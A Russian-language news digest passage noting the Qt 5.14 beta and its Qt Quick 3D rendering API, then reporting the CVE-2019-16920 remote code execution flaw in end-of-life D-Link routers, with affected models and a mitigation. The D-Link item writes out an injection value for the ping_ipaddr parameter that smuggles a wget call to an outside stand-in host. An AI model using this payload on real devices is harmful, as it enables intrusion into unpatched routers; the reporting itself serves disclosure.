Дополнительно можно отметить начало тестирования первой бета-версии Qt 5.14. Релиз ожидается 26 ноября. Выпуск Qt 5.14 примечателен включением предварительной поддержки некоторых возможностей, запланированных для Qt 6. Например, добавлена предварительная реализация нового Qt Quick с поддержкой 3D. Новый API рендеринга сцены позволит запускать приложения на базе Qt Quick поверх Vulkan, Metal или Direct3D 11 (без жесткой привязки к OpenGL), даст возможность использовать QML для определения 3D-элементов в интерфейсе без задействования формата UIP, а также решит такие проблемы, как большие накладные расходы при интеграции QML с контентом из Qt 3D и невозможность синхронизации анимации и преобразований на уровне отдельных кадров между 2D и 3D.

Источник: [ссылка]

Удалённо эксплуатируемая уязвимость в маршрутизаторах D-Link

В беспроводных маршрутизаторах D-Link выявлена опасная уязвимость (CVE-2019–16920), позволяющая удалённо выполнить код на стороне устройства через отправку специального запроса к обработчику «ping_test», доступному без прохождения аутентификации.

Интересно, что по задумке разработчиков прошивки вызов «ping_test» должен выполняться только после аутентификации, но на деле он вызывается в любом случае, независимо от входа в web-интерфейс. В частности, при обращении к скрипту apply_sec.cgi с передачей параметра «action=ping_test», скрипт перебрасывает на страницу аутентификации, но при этом выполняет связанное с ping_test действие. Для выполнения кода использована ещё одна уязвимость в самом ping_test, который вызывает утилиту ping без должной проверки корректности переданного для тестирования IP-адреса. Например, для вызова утилиты wget и передачи на внешний хост результатов выполнения команды «echo 1234» достаточно указать параметр «ping_ipaddr=127.0.0.1%0awget%20-P%20/tmp/%20http://test.test/?$(echo 1234)».

Наличие уязвимости официально подтверждено в моделях:

  • DIR-655 с прошивкой 3.02b05 или старее;
  • DIR-866L с прошивкой 1.03b04 или старее;
  • DIR-1565 с прошивкой 1.01 или старее;
  • DIR-652 (данных о версиях проблемных прошивок не приводится)

Время сопровождения данных моделей уже истекло, поэтому компания D-Link заявила, что не будет выпускать для них обновления с устранением уязвимости, не рекомендует использовать и советует заменить на новые устройства. В качестве обходного пути защиты можно ограничить доступ к web-интерфейсу только для заслуживающих доверия IP-адресов.

Позднее выяснилось, что уязвимость также затрагивает модели DIR-855L, DAP-1533, DIR-862L, DIR-615, DIR-835 и DIR-825, о планах по выпуску обновлений для которых пока ничего не известно.

Источник: [ссылка]